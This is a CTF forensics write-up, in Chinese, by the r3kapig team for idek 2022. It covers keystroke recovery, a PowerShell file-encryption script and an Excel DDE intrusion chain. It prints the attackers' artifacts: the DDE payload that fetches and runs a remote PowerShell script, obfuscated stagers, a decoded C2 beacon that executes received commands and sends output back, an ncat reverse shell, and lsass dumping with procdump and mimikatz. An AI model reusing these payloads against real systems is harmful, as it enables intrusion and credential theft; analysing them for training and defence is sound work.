    210: "KEY_PRINT",
    211: "KEY_HP",
    212: "KEY_CAMERA",
    213: "KEY_SOUND",
    214: "KEY_QUESTION",
    215: "KEY_EMAIL",
    216: "KEY_CHAT",
    217: "KEY_SEARCH",
    218: "KEY_CONNECT",
    219: "KEY_FINANCE",
    220: "KEY_SPORT",
    221: "KEY_SHOP",
    222: "KEY_ALTERASE",
    223: "KEY_CANCEL",
    224: "KEY_BRIGHTNESSDOWN",
    225: "KEY_BRIGHTNESSUP",
    226: "KEY_MEDIA",

    227: "KEY_SWITCHVIDEOMODE",
    228: "KEY_KBDILLUMTOGGLE",
    229: "KEY_KBDILLUMDOWN",
    230: "KEY_KBDILLUMUP",

    231: "KEY_SEND",
    232: "KEY_REPLY",
    233: "KEY_FORWARDMAIL",
    234: "KEY_SAVE",
    235: "KEY_DOCUMENTS",

    236: "KEY_BATTERY",

    237: "KEY_BLUETOOTH",
    238: "KEY_WLAN",
    239: "KEY_UWB",

    240: "KEY_UNKNOWN",

    241: "KEY_VIDEO_NEXT",
    242: "KEY_VIDEO_PREV",
    243: "KEY_BRIGHTNESS_CYCLE",
    244: "KEY_BRIGHTNESS_AUTO",
    244: "KEY_BRIGHTNESS_ZERO",
    245: "KEY_DISPLAY_OFF",

    246: "KEY_WWAN",
    246: "KEY_WIMAX",
    247: "KEY_RFKILL",

    248: "KEY_MICMUTE"
}

shift = False
while event:
    (tv_sec, tv_usec, type, code, value) = struct.unpack(FORMAT, event)

    if type != 0 or code != 0 or value != 0:
        # print(f'{tv_sec}.{tv_usec}, {type}, {code}, {value}, {value:08b}')

        if type == 0x01: # EV_KEY
            key = keymap[code]
            if value == 1:
                key_label = key[4:]
                if len(key_label) == 1:
                    if shift:
                        sys.stdout.write(key_label.upper())
                    else:
                        sys.stdout.write(key_label.lower())
                elif "SHIFT" in key:
                    print("SHIFT")
                elif key_label == "LEFTBRACE":
                    sys.stdout.write("{")
                elif key_label == "RIGHTBRACE":
                    sys.stdout.write("}")
                else:
                    print(key_label)
            else:
                if "SHIFT" in key:
                    print("SHIFT")

    event = in_file.read(EVENT_SIZE)

in_file.close()

得到键盘输入

archiveSPACE
managerENTER
SHIFT
cSHIFT
onfidentials3cr3t7azLEFT
BACKSPACE
RIGHT
pSHIFT
2SHIFT
5LEFT
sRIGHT
sLEFT
BACKSPACE
RIGHT
wrLEFT
0RIGHT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
SHIFT
dSHIFT
SHIFT
SHIFT
1SHIFT
terminalENTER
cdSPACE
SHIFT
dSHIFT
ocuTAB
ENTER
lsENTER
rmSPACE
MINUS
rfSPACE
SHIFT
cSHIFT
onfidentialDOT
pdfTAB
ENTER
exitENTER

这里可以手敲一下还原输入内容

archive manager
Confidentials3cr3t7zp@ssw0rd!terminal
cd Docu[TAB]
ls
rm -rf Confidential.pdf[TAB]
exit

得到压缩包密码:s3cr3t7zp@ssw0rd! 解压后,得到压缩包里的pdf

idek 2022* Forensics Writeup by r3kapig


拿到url:https://pastebin.com/VtwugbAi,访问拿到flag -> idek{$t34LthY_c@p7ur3_0f_K3yb04rd_d4tA}

2-layer security:

通过homekalilinux.zsh_history拿到历史记录

cd ~
cd Desktop
ls
clear
cd ../../../../../../../../
cd /var/log
cd ~
sudo apt install curl
curl https://pastebin.com/raw/awhuFZse -0 tienbip.txt
LESSCLOSE=/usr/bin/lesspipe %%s
cd -
cd Desktop
ls
gpg --quick-gen-key Cocainit
gpg --quick-gen-key VNvodich
gpg --quick-gen-key Siuuuuuu
ls
gpg -er VNvodich RestrictedAccess.pdf
ls
rm -rf RestrictedAccess.pdf
cat /etc/shadow | grep idek{
cat /etc/shadow | grep "idek{"
mv RestrictedAccess.pdf.gpg $(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -5 | head -1)
pwsh
ls
mv T3C4U.SOS recycle.bin
reboot

然后在homekalilinuxDesktoprecycle.bin发现recycle.bin 然后其也就是T3C4U.SOS 继续搜索发现存在powershell日志homekalilinux.localsharepowershellPSReadLineConsoleHost_history.txt 内容为:

ls
whoami
( nEw-oBJECT syStem.io.sTrEamReadeR( ( nEw-oBJECT sysTeM.iO.COMPReSsioN.deflAtEsTREaM([sySTEM.iO.MeMoRyStreaM] [ConVert]::froMbaSe64striNg('hVXbbuJIEH2PlH/omZfYGrAwtxCkPASWXLTDgGL2Mot46MENeGLaqN3WLov873uqbQPGiRZhulz3OlXVBKM/mWVZnw/tRnpw79JDs5Me2l3QOF0XNJ4mydqge+mh1cJ5i5Me6DQhAkVakLjQwLcNAXy1yB9em2QLaYto2HVIk94Rpw0dF2eLYkDWBN2ENxeOwepQCumBEqI3eqALWQvcDs42niY9FA+vYN+mn+srdsPyT3p9dX1VvHyfjoVcqv1OR4rd0ysX8ZjLm9oNXwsfrG/i7/rkx0+x1Mzbx1psHU8sExXovTM0dmvFd1BnJeNDKUS84WCTQ+eXIN5FsbBsKEBPGaKSjPAHey3iLKNjgs5McRmvIrV9DCQPYZ7rlVxkOVSCXXxOnGDFLJhNud7Y7CxvSm8QRss3ku5CHkgTq8YaNVbiOF+FXMP4ohCYn0ID9JTK5bsNcAt2G6HGkS8W/f5wMLw2lThT7vuBXKPo+cdIwzzXy+3/gnEVsxMIEG+zHCyQ/f6r4P5DGBpdquwxCIXzmIThN74VF0BBHCWakMm8lnTZF/ZTThxv4uG4vqJyR5M3+/+xptlScKCF8oQ2ru7JlSmSQoC2FyejuacV6l3kTcoEdjHFA7EOJHtv3gze+BnjKecExvsAQ2AVoeeTRO8S4sCXzzF/+wwFrRJRY1Oa+VOrXiYOpb6gVpYRUEInSlKBpMCOE850VAAMI/+jGaY2mzgEcME0c+kF/wowtVk+9gfqEPWRUljk+ljEMRSPQWWk2SpKpP/J9OqyQT+U4G9ldlqZhNPAU8AsaJEttVRvSr7T4+AXnRpJn8zMOGWJPix1EEnmIUWpw/0wkjqQyQV+NDOfKoOKjsMXtuGhgCrL6LIf/b4B5oHQIz7Os+HPp7tWvXqOYwyDZqebA3/GfO/GyOAwiN+zJygVK+s9UwLNnlkToSJzY4FcJTKDYJQFJzJ3OB9u/VDoQSBp2aF7thDTYn/APi3mVx5rU+ws2GbD6R679N7FeL4WZ2KwZ/udsOZxtnbFPkxpl8oL88G/BNWo6y+Am9VNt7/ThDsvv+PKOAGdG8OT4FrkAETHjK2nwsepT3apRsE+Ku9XsaflQF5o3dkcmjJUtMR2XNwYZeNsz8/+tYbRdpdo8czjjVVM2Ez8ox2kHVF/MGe/zR57DpLOhgtX4eVM3di2o8Q05EthWfPlM39ddO++ZMRtQbiNW7s292avL/JpkbFadxU7t9Et9N3G0UXFsF0x7BVxekezaryuzez/AA==' ), [SyStem.IO.comPreSSION.cOmpreSSIONModE]::DEcOmPREsS ) ), [text.ENcodiNg]::AScII)).ReAdToend()|&( $sHeLLid[1]+$shELliD[13]+'x')
Encryption -Path ./T3C4U
Remove-Item -Path ./T3C4U -Force -Recurse
exit

解中间部分的powershell代码可以得到

iEX ((("{40}{19}{25}{46}{15}{11}{41}{20}{14}{48}{33}{47}{37}{35}{2}{1}{31}{23}{18}{8}{45}{9}{39}{28}{24}{43}{38}{27}{53}{13}{36}{49}{16}{30}{17}{26}{21}{12}{0}{51}{4}{6}{10}{50}{5}{32}{34}{52}{42}{22}{29}{3}{44}{7}"-'        }

        YPMencryptor = YPMaesMan','aged = New-Object System.Security.Cryptograp','  YPMaesMan','{
        YPMshaManaged.Dispose()
 ','r()
        YPMencryptedBytes = YPMencryptor.TransformFinal','edBytes
        YPMaesManaged.Dispose()

        if (YPMPath) {
         ','Block(YPMplainBytes, 0, YPMplainBytes.Length)
        YPMen','se()
    }
','ed.Padding = [System.Security.Cryptography.PaddingMode]::Z','cryptedBytes = YPMaesManaged','m
    (','::ReadAllBytes(YPMFile.FullName)
            YPMoutPath = YPMFile.FullName + jnO.SOSjnO
','sEOk))

        if (Y','arameterSetName = jnOCryptFilejnO)]
        [String]YPMPath
    )

    Begin {
        YPMshaMan','ra','M','
             ','ystem.Security.Cryptog','()]
    [Outpu','(Mandatory = YPMtrue, P',' = [System.IO.File]','e
            return jnOFile encrypted to YPMoutP','d
        YPMaesManaged.Mode = [S','sManaged.BlockSize','t','   Write-Error -Message jnOFile not found!jnO
                break
            }
            YPMplainBytes',' ','      YPMae','athjnO
        }
    }


    End ','Path -ErrorAction SilentlyContinue
','hy.AesManage','   [System.IO.File]::WriteA','stem.','llBytes(YPMoutPath, YPMencryptedBytes)
      ','256Managed
      ','PMPath) {
            YPMFile = G','ography.SHA','28
','eros
  ','function Encryption {
    [CmdletBinding','
        [Parameter','= YPMFile.LastWriteTim',' = 1','       YPMaesManaged.Dispo','
        YPMaesManag','Type([string])]
    Pa','Security.Crypt','aged = New-Object Sy','et-Item -Path YP','.IV + YPMencrypt','aged.CreateEncrypto','      (Get-Item YPMoutPath).LastWriteTime ','       YPMaesManaged.KeySize = 256
    }

    Process {
        YPMaesManaged.Key = YPMshaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes(EOkYPMencryptedByte')).rePlace(([cHaR]69+[cHaR]79+[cHaR]107),[STRInG][cHaR]39).rePlace(([cHaR]106+[cHaR]110+[cHaR]79),[STRInG][cHaR]34).rePlace(([cHaR]89+[cHaR]80+[cHaR]77),[STRInG][cHaR]36) )

再解一层格式化后可以拿到:

function Encryption{
    [CmdletBinding()]    
    [OutputType([string])]    
    Param(                
        [Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]          
        [String]$Path    
        )    
    Begin {        
        $shaManaged = New-Object System.Security.Cryptography.SHA256Managed        
        $aesManaged = New-Object System.Security.Cryptography.AesManaged        
        $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC        
        $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros        
        $aesManaged.BlockSize = 128        
        $aesManaged.KeySize =   256    
    }    
    Process {        
        $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes('$encryptedBytes'))                       
         if ($Path) {            
            $File = Get-Item -Path $Path -ErrorAction SilentlyContinue              
            if (!$File.FullName) {                
                Write-Error -Message "File not found!"                
                break            
            }            
            $plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)            
            $outPath = $File.FullName + ".SOS"          
        }        
        $encryptor = $aesManaged.CreateEncryptor()        
        $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)          
        $encryptedBytes = $aesManaged.IV + $encryptedBytes        
        $aesManaged.Dispose()                        
        if ($Path) {            
            [System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)            
            (Get-Item $outPath).LastWriteTime = $File.LastWriteTime            
            return "File encrypted to $outPath"        
        }    
    }      
    End {        
        $shaManaged.Dispose()        
        $aesManaged.Dispose()    
    }
}  

根据解密的办法解密SOS文件,解密后的文件即为T3C4U,file一下是PGP RSA encrypted session key - keyid: 6FCC942C DC8258E7 RSA (Encrypt or Sign) 3072b 然后通过上面的mv RestrictedAccess.pdf.gpg $(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)可以得知T3C4URestrictedAccess.pdf.gpg

下一步是需要寻找秘钥:

这里将homekalilinux.gnupg下的文件夹覆盖本地的.gnupg即可解密

~/Desktop/2layer/home/kalilinux$ cp -.gnupg /home/{username}/
~/Desktop/2layer/home/kalilinux$ gpg --list-key
/home/{username}/.gnupg/pubring.kbx
---------------------------------
pub   rsa3072 2023-01-13 [SC] [expires: 2025-01-12]
      B719E23BEED6B02C76494DB43AE26A2802699708
uid           [ultimate] Cocainit
sub   rsa3072 2023-01-13 [E]

pub   rsa3072 2023-01-13 [SC] [expires: 2025-01-12]
      5295D629A12B0703063559ED1E9F58A43C01EDBB
uid           [ultimate] VNvodich
sub   rsa3072 2023-01-13 [E]

pub   rsa3072 2023-01-13 [SC] [expires: 2025-01-12]
      BD3EF2F8AFFDCC3A933E33E756EEDD86FA3AEBB6
uid           [ultimate] Siuuuuuu
sub   rsa3072 2023-01-13 [E]
:~/Desktop/2layer/home/kalilinux$ gpg --decrypt T3C4U > RestrictedAccess.pdf
gpg: encrypted with 3072-bit RSA key, ID 2C94CC6FE75882DC, created 2023-01-13
      "VNvodich"
gpg: [don't know]: invalid packet (ctb=00)
gpg: [don't know]: invalid packet (ctb=00)

PDF为:idek 2022* Forensics Writeup by r3kapig

拿到flag --> idek{Cr34t1n9_ch4ll3ngEs_6_d4ys_6_n1gts_w1th0ut_sl33p}

HiddenGem Mixtape:

下载文件后我们拿到了三个文件2023-01-07T194857_HiddenGem.zip,Note.txt,HiddenGem.7z

2023-01-07T194857_HiddenGem.zip解压后是 2023-01-07T194857_HiddenGem.vhdx

Note.txt:

Note 1: All flags are wrapped in idek{} format, you don't need to do it yourself.
Note 2: The zip file is the same for all Mixtape. HiddenGem.pcapng is mainly for `HiddenGem Mixtape 3: The Ultimate Goal` however it may contain data for the rest of HiddenGem Mixtape. 
Note 3: Password for HiddenGem.pcapng will be released with Mixtape2 and 3

HiddenGem.7z需要密码,里面是流量包.密码是94cjFEJdMrZ&YI)s94cjFEJdMrZ&YI)s

HiddenGem Mixtape 1: Initial Access:

file一下2023-01-07T194857_HiddenGem.vhdx 发现是:

2023-01-07T194857_HiddenGem.vhdx: Microsoft Disk Image eXtended, by .NET DiscUtils, sequence 0xe, NO Log Signature; region, 2 entries, id Metadata, at 0x200000, Required 1, id BAT, at 0x300000, Required 1

首先发现拿到的vhdx,不过似乎是由于其修改了部分偏移或者是抹去了一些信息,导致autopsy的直接分析失败,所以采用先Diskgeniu打开磁盘文件,然后恢复的方式将文件系统恢复出来,再采取Autopsy的logicfiles以进行解析,大概效果如下图:

idek 2022* Forensics Writeup by r3kapig

idek 2022* Forensics Writeup by r3kapig

Email:

由于题目描述中提到了Initial Access 可以联想到可能存在某些初始植入物,同时autopsy的分析标明存在邮件信息

idek 2022* Forensics Writeup by r3kapig

提取之后发现邮件信息如下,附带的Policy.7z和密码Privacy4411@2023!!!

idek 2022* Forensics Writeup by r3kapig

另存为7z后用密码解压可得到Policy.xlsx,继续对xlsx文件进行分析

Policy.xlsx:

解压后可以观察到其存在一些xlsx,在检查了不存在模板注入,CVE的情况下可以参考是否存在DDE.

xlexternalLinksexternalLink1.xml存在

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<externalLink xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14" xmlns:x14="http://schemas.microsoft.com/office/spreadsheetml/2009/9/main"><ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" ddeService="cmd" ddeTopic="/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(&quot;http://172.21.20.96/windowsupdate.ps1&quot;);IEX $e"><ddeItems><ddeItem name="_xlbgnm.A1" advise="1"/><ddeItem name="StdDocumentName" ole="1" advise="1"/></ddeItems></ddeLink></externalLink>

具体可以知道这里执行了命令cmd /c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(&quot;http://172.21.20.96/windowsupdate.ps1&quot;);IEX $e相关的命令是powershell隐藏运行从http://172.21.20.96/windowsupdate.ps1获取内容并且执行

当然你也可以通过选择一些在线沙盒的方式来运行进而拿到参数

类似于any.run:https://app.any.run/tasks/227c2a3f-8be3-443a-9a55-b4f5e8406e17

idek 2022* Forensics Writeup by r3kapig

Powershell:

通过上文中我们找到的线索http://172.21.20.96/windowsupdate.ps1,但是这是个私有ip没法访问,然后将其放在autopsy进行搜索后,发现后续的阶段存在一些日志的信息中

idek 2022* Forensics Writeup by r3kapig

其日志文件都位于:C:/Windows/System32/winevt/logs/下提取Microsoft-Windows-Sysmon%4Operational.evtx日志并且使用Event Log Explorer加载

idek 2022* Forensics Writeup by r3kapig

可以拿到后续的payload-->windowsupdate.ps1

& ( $sHEllid[1]+$sheLLiD[13]+'X')( NEW-obJEct Io.cOMPReSSiON.DEFlAteStrEAM( [SyStem.iO.mEMOrySTream] [SysteM.cOnVerT]::FRomBase64STRINg( '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' ) , [sySteM.IO.ComprESsiON.cOmpresSiONMODe]::dEcomPrEss)|fOReach-OBJECt{NEW-obJEct iO.sTReAMrEAder( $_ , [TExT.EncOdiNg]::AscIi)} | fOREacH-obJeCt{$_.reADToend()})

该payload可以观察,根据powershell恶意样本的分析经验,我们可以得到& ( $sHEllid[1]+$sheLLiD[13]+'X')代表iex 所以我们只需要将其变成echo后再跑即可得到下一阶段

(New-OBJECT MAnAGeMent.AUtOmaTiON.PsCreDEntIAL ' ', ('76492d1116743f0423413b160
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AxAGUAMABiADQAMwAzAGIAOAA1AGUAMwAzADEAYgBlAGMAMQBiAGYAYgBmAGIANAAzAGUANwBjAGMAM
wAxADMAYwAwAGYAMQBlADAAZgBmAGEAOAAyADEANgA4ADgAMwA3ADMANgA5AGQAMgA2AGEAZAA1ADYA
YwBmAGYANgAxADAAOAA3AGQAMwAyADYAMQBlADgAMgAzAGMAOAAxADkAMwBhADYANwA3ADcAYQA3ADM
AYgAwAGMAMAA2AGEANwBiAGMAZABmADIAZQBjADUAYwAxADYAMABhAGUANQBlADAAZgA2ADMAOAA3AD
EANgA0ADEAOAA1ADUAMgAzADUAYQA5ADMANQA0AGMAOABiADAAMgAwAGQAMgAyAGIANQBmADQAOQBhA
DQAYQAwADMAZAAxADkAMwAyADQAYgBkADUAMwAzADAANAAxADMAMwAxAGYANwAzADYAMgA1AGYAYwBh
AGIAMQA2ADYANgBjAGQANgAwAGIANABkADYAOABhAGQAMQAzADEAMAA4AGYAYwBhAGUAOAA0ADYAYQA
yAGMAOAA1AGUAMQA3ADgAOABiAGYANwBjAGMAZQAyADcAZgA1ADAAZQBiAGQAYQAwAGQAOAAyADQANA
BjADIAYQA4ADMAYQBkADIAOAAxAGUANgBiADMANABlADMAZABiADMAMQA1ADcANABjADEAZQBjAGUAZ
AAyAGIAMgA4ADEAYwBiADgAMgAwAGEAZgAzADUANgAyAGYAMwA3ADIANABmADkAOAA5ADcANwBiADUA
NQAzAGYAMgA=' |ConvERTtO-SecureSTRiNG -55,113,158,254,51,94,175,13,94,42,226,
159,63,7,144,195,14,139,39,217,58,39,188,60,182,192,74,94,209,172,100,93)).Getn
eTwoRKCrEDEnTIAl().pASsWoRD |. ( $PsHoME[21]+$psHOme[34]+'x')

而这里的. ( $PsHoME[21]+$psHOme[34]+'x')即为IEX,将其换成Out-String再次运行 然后可以拿到解密,并将其格式化后

$bwqvRnHz99 = (104,116,116,112,115,58,47,47,112,97,115,116,101);
$bwqvRnHz99 += (98,105,110,46,99,111,109,47,104,86,67,69,85,75,49,66);
$flag = [System.Text.Encoding]::ASCII.GetString($bwqvRnHz99);
$s='172.21.20.96:8080';
$i='eef8efac-321d465e-e9d053a7';
$p='http://';
$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/eef8efac -Headers @{
    X-680d-47e8"=$i
};while ($true){
    $c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/321d465e -Headers @{
        "X-680d-47e8"=$i}
    ).Content;
    if ($c -ne 'None') {
        $r=iex $c -ErrorAction Stop -ErrorVariable e;
        $r=Out-String -InputObject $r;
        $t=Invoke-WebRequest -Uri $p$s/e9d053a7 -Method POST -Headers @{
            "X-680d-47e8"=$i
        } -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')
    } 
    sleep 0.8
}

flag1:

观察到存在flag的部分

将那段代码运行即可拿到 https://pastebin.com/hVCEUK1B 再访问

PS $bwqvRnHz99 = (104,116,116,112,115,58,47,47,112,97,115,116,101);
PS $bwqvRnHz99 += (98,105,110,46,99,111,109,47,104,86,67,69,85,75,49,66);
PS $flag = [System.Text.Encoding]::ASCII.GetString($bwqvRnHz99)
PS $flag
https://pastebin.com/hVCEUK1B

idek{MS_ExCel_DyN4m1c_D4ta_ExcH@ng3_1s_3a5y_t0_d3teCt}
Resource: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within

即可拿到flag --> idek{MS_ExCel_DyN4m1c_D4ta_ExcH@ng3_1s_3a5y_t0_d3teCt}

HiddenGem Mixtape 2: Credential Access:

根据上面的线索,我们已经知道了部分消息,其中包括http://172.21.20.96/windowsupdate.ps1

不过在后续的日志检索中,我没有发现其与172.21.20.96:8080交互后的载荷,但是该信息存在于C:/Windows/System32/winevt/logs/Microsoft-Windows-Sysmon%4Operational.evtx

检索日志定位到具体的语句

idek 2022* Forensics Writeup by r3kapig

可以看出父进程是EXCEL.exe其子进程是cmd.exe,cmd的子进程为powershell的命令,符合上文所描述的xlsx配合DDE运行powershell的例子往上跟踪 发现powershell为主进程的时候 其应该后续接受了C2的相关配置 然后C2向目标机器的C:UsersIEUserAppDataLocalTempSecurityUpdate.exe上传了一个ncat,并且通过命令"C:UsersIEUserAppDataLocalTempSecurityUpdate.exe" 172.21.20.96 4444 -e cmd.exe反弹shell

idek 2022* Forensics Writeup by r3kapig

开shell(cmd.exe)

idek 2022* Forensics Writeup by r3kapig

Ncat:

继续向上检索,我们发现以cmd为主进程其执行了一些命令,以探测或者收集一些相关的凭据

执行whoami:

idek 2022* Forensics Writeup by r3kapig

执行arp -a:

idek 2022* Forensics Writeup by r3kapig

执行ipconfig /all:

idek 2022* Forensics Writeup by r3kapig

执行REG ADD HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1准备进行dump lsass

idek 2022* Forensics Writeup by r3kapig

之后应该是通过powershell上传了UpdateAgent.exe(procdump)以及mimikatz.exe到C:WindowsSystem32下不过我没找到本地的相关日志,如果有人找到了可以告诉我一下

procdump && mimikatz:

执行C:WindowsSystem32UpdateAgent.exe -accepteula -ma lsass.exe C:WindowsSystem32error dump lsass.exe并将数据存在C:WindowsSystem32error.dmp

idek 2022* Forensics Writeup by r3kapig

执行C:WindowsSystem32mimikatz.exe

